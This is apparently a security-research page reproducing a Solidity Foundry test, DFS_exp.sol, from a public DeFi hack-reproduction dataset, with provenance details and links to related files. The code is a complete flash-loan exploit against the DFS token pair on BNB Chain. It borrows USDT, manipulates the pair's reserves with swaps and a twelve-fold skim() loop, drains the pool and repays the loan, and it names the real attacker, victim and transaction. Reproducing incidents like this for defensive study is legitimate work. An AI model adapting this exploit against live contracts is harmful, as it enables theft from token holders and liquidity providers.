Public reproduction file
src/test/2022-12/DFS_exp.sol
Public reproduction file for dataset entry - DFS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~1,450 US$8// Attacker : 0xb358BfD28b02c5e925b89aD8b0Eb35913D2d08059// Attack Contract : 0x87bfd80c2a05ee98cfe188fd2a0e4d70187db13710// Vulnerable Contract : 0x2B806e6D78D8111dd09C58943B9855910baDe00511// Attack Tx : https://bscscan.com/tx/0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x2B806e6D78D8111dd09C58943B9855910baDe005#code#83016// @Analysis17// CertiKAlert : https://twitter.com/CertiKAlert/status/160878829078566502419CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);20IPancakePair constant USDT_CCDS_LP = IPancakePair(0x2B948B5D3EBe9F463B29280FC03eBcB82db1072F);21IPancakePair constant DFS_USDT_LP = IPancakePair(0x4B02D85E086809eB7AF4E791103Bc4cde83480D1);22IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));23address constant usdt = 0x55d398326f99059fF775485246999027B3197955;24address constant dfs = 0x2B806e6D78D8111dd09C58943B9855910baDe005;25address constant ccds = 0xBFd48CC239bC7e7cd5AD9F9630319F9b59e0B9e1;27contract Attacker is Test {28 // forge test --contracts ./src/test/DFS_exp.sol -vvvv29 function setUp() public {30 cheat.label(address(pancakeRouter), "pancakeRouter");31 cheat.label(address(USDT_CCDS_LP), "USDT_CCDS_LP");32 cheat.label(address(DFS_USDT_LP), "DFS_USDT_LP");33 cheat.label(usdt, "USDT");34 cheat.label(dfs, "dfs");35 cheat.label(ccds, "ccds");36 cheat.createSelectFork("bsc", 24_349_821);37 }39 function testExploit() public {40 Exploit exploit = new Exploit();41 emit log_named_decimal_uint("[start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(exploit)), 18);42 exploit.harvest();43 emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(exploit)), 18);44 }45}47contract Exploit is Test {48 uint256 borrowamount;50 function harvest() public {51 emit log_named_decimal_uint(52 "[INFO] usdt balance : DFS_USDT_LP", IERC20(usdt).balanceOf(address(DFS_USDT_LP)), 1853 );54 borrowamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));55 USDT_CCDS_LP.swap(borrowamount, 0, address(this), "0");56 emit log_named_decimal_uint("[INFO] usdt balance : this", IERC20(usdt).balanceOf(address(this)), 18);57 }59 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {60 if (keccak256(data) != keccak256("0")) return;61 emit log("[INFO] Flashloan received ");62 emit log_named_decimal_uint("[INFO] this balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 18);63 emit log_named_decimal_uint("[INFO] this balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 18);64 IERC20(usdt).transfer(address(DFS_USDT_LP), borrowamount);66 (uint256 reserve0beforeswap, uint256 reserve1beforeswap,) = DFS_USDT_LP.getReserves();67 uint256 swapamount = reserve0beforeswap * 499 / 1000; // swap 0.449 lp dfs68 // DFS_USDT_LP.swap(reserve0beforeswap , 0,address(this), new bytes(1));69 emit log_named_decimal_uint("[INFO] swapamount ", swapamount, 18);70 DFS_USDT_LP.swap(swapamount, 0, address(this), new bytes(1));71 DFS_USDT_LP.sync();73 emit log_named_decimal_uint("[INFO] dfs balance : address(this)", IERC20(dfs).balanceOf(address(this)), 18);74 uint256 dfstransferamount = IERC20(dfs).balanceOf(address(this));75 IERC20(dfs).transfer(address(DFS_USDT_LP), dfstransferamount * 98 / 100); // transfer 98% dfs balance76 // loop 12 times skim() function77 for (uint256 i = 0; i < 12; i++) {78 DFS_USDT_LP.skim(address(DFS_USDT_LP));79 }80 DFS_USDT_LP.skim(address(this));82 uint256 txamount = IERC20(dfs).balanceOf(address(this));83 emit log_named_decimal_uint("[INFO] dfs balance : address(this)", txamount, 18);84 IERC20(dfs).transfer(address(DFS_USDT_LP), txamount * 95 / 100); //transfer 95% dfs balance86 emit log_named_decimal_uint(87 "[INFO] address(this) balance (dfs token)", IERC20(dfs).balanceOf(address(this)), 1888 );89 emit log_named_decimal_uint(90 "[INFO] address(this) balance (usdt token)", IERC20(usdt).balanceOf(address(this)), 1891 );93 //todo94 uint256 dfslpusdtamount = IERC20(usdt).balanceOf(address(DFS_USDT_LP));95 emit log_named_decimal_uint("[INFO] address(DFS_USDT_LP) balance (usdt token)", dfslpusdtamount, 18);96 DFS_USDT_LP.swap(0, dfslpusdtamount * 999 / 1000, address(this), new bytes(1)); // swap 99.9 lp usdt97 emit log_named_decimal_uint("[INFO] payback amount usdt ", IERC20(usdt).balanceOf(address(address(this))), 18);98 uint256 paybackfee = borrowamount * 1005 / 1000; // 0.5% fee99 bool suc = IERC20(usdt).transfer(address(USDT_CCDS_LP), paybackfee);100 require(suc, "[INFO] Flashloan[1] payback failed ");101 emit log("[INFO] Flashloan payback success ");102 }103}Analysis
Dataset entry
Public Foundry test for “- DFS” (2022-12-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb358bfd28b02c5e925b89ad8b0eb35913d2d0805
- Attack Contract
0x87bfd80c2a05ee98cfe188fd2a0e4d70187db137
- Vulnerable Contract
0x2b806e6d78d8111dd09c58943b9855910bade005
- Attack Tx
0xcddcb447d64c2ce4b3ac5ebaa6d42e26d3ed0ff3831c08923c53ea998f598a7c
File record
- Name
- DFS
- Path
- src/test/2022-12/DFS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 593069b1fd68834f2bf775ef9b36a4a5631a7e51
- Language
- Solidity
- Size
- 104 lines
- Date
- 2022-12-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/DFS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 593069b1fd68834f2bf775ef9b36a4a5631a7e51, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.